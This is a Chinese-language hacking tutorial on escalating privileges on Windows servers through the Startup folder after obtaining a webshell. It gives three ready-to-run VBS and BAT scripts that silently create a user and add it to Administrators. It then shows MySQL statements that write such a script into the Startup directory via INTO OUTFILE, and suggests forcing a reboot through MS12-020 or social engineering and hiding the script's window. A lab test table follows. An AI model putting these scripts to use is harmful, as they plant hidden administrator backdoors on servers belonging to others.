启动项提权
0x00开机启动项提权
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。
0x01 关于自动化脚本
自动化脚本可以是bat文件,vbs文件等。
我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
一个添加用户密码的vbs脚本的内容如下:
脚本1
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
另一个添加用户密码的vbs脚本的内容如下:
脚本2
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user ttt 123456 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators ttt /add",0)
保存为a.vbs,上传到启动目录。提权结束,等待目标服务器再次开机登录时即可自动添加帐号密码。
TIPS:
1.通常我们会主动去重启服务器,利用远程溢出(Ms12-020)或社工手法等。
2.写入脚本的时候也常常用数据库去写入
一个添加用户密码的bat脚本的内容如下:
脚本3
@echo off
net user test1 123456 /add
net localgroup administrators test1 /add
0x02 通过mysql来写入启动项提权
1.连接到对方MYSQL 服务器
2.进入test数据库,这个数据库一般情况下没有表
数据库语句内容如下
create table a(cmd text); #创建a表,表中只存放一个字段cmd,为text文本
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user ttt 123456 /add"",0)"); #添加用户密码,注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators ttt /add"",0)"); #加入administrators组
select * from a;查询有没有写入
select * from a into outfile "C:\\Users\\zth\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs" #把表中的内容写入到启动组中,是一个VBS的脚本文件!注意“\”符号
0x03 测试结果
我在本地虚拟机(靶机win7专业版)测试过程中,启动项提权成功与否,信息如下:
Administrator超级官理员 | 普通管理员 | |
---|---|---|
脚本1 | 提权失败 | 提权失败 |
脚本2 | 提权成功 | 提权失败 |
脚本3 | 提权失败 | 提权失败 |
1.以下两图是在超级管理员账户下的截图,在运行脚本1和2时,无报错,无弹窗。脚本1用户创建成功,脚本2和3的用户都没创建出来。
[外链图片转存失败(img-4HfzefiK-1563876027863)(https://i.loli.net/2019/07/23/5d36b7a47fedd56698.png)]
2.在管理员账户下,重启时运行脚本1时遇到如下错误,在运行这条语句时od.SetInfo
,报错,没有去深究。运行脚本2时有弹窗,脚本3没反应。三个脚本的用户都没有创建成功。
其实这就是利用MYSQL向启动组输入了一个可执行的文件而已。BAT脚本,在启动运行时会有明显的DOS窗口弹出来,而VBS脚本则可以完全隐藏窗口且不会有错误提示!也可以写一句完成脚本后自动删除此脚本的语句。
参看链接: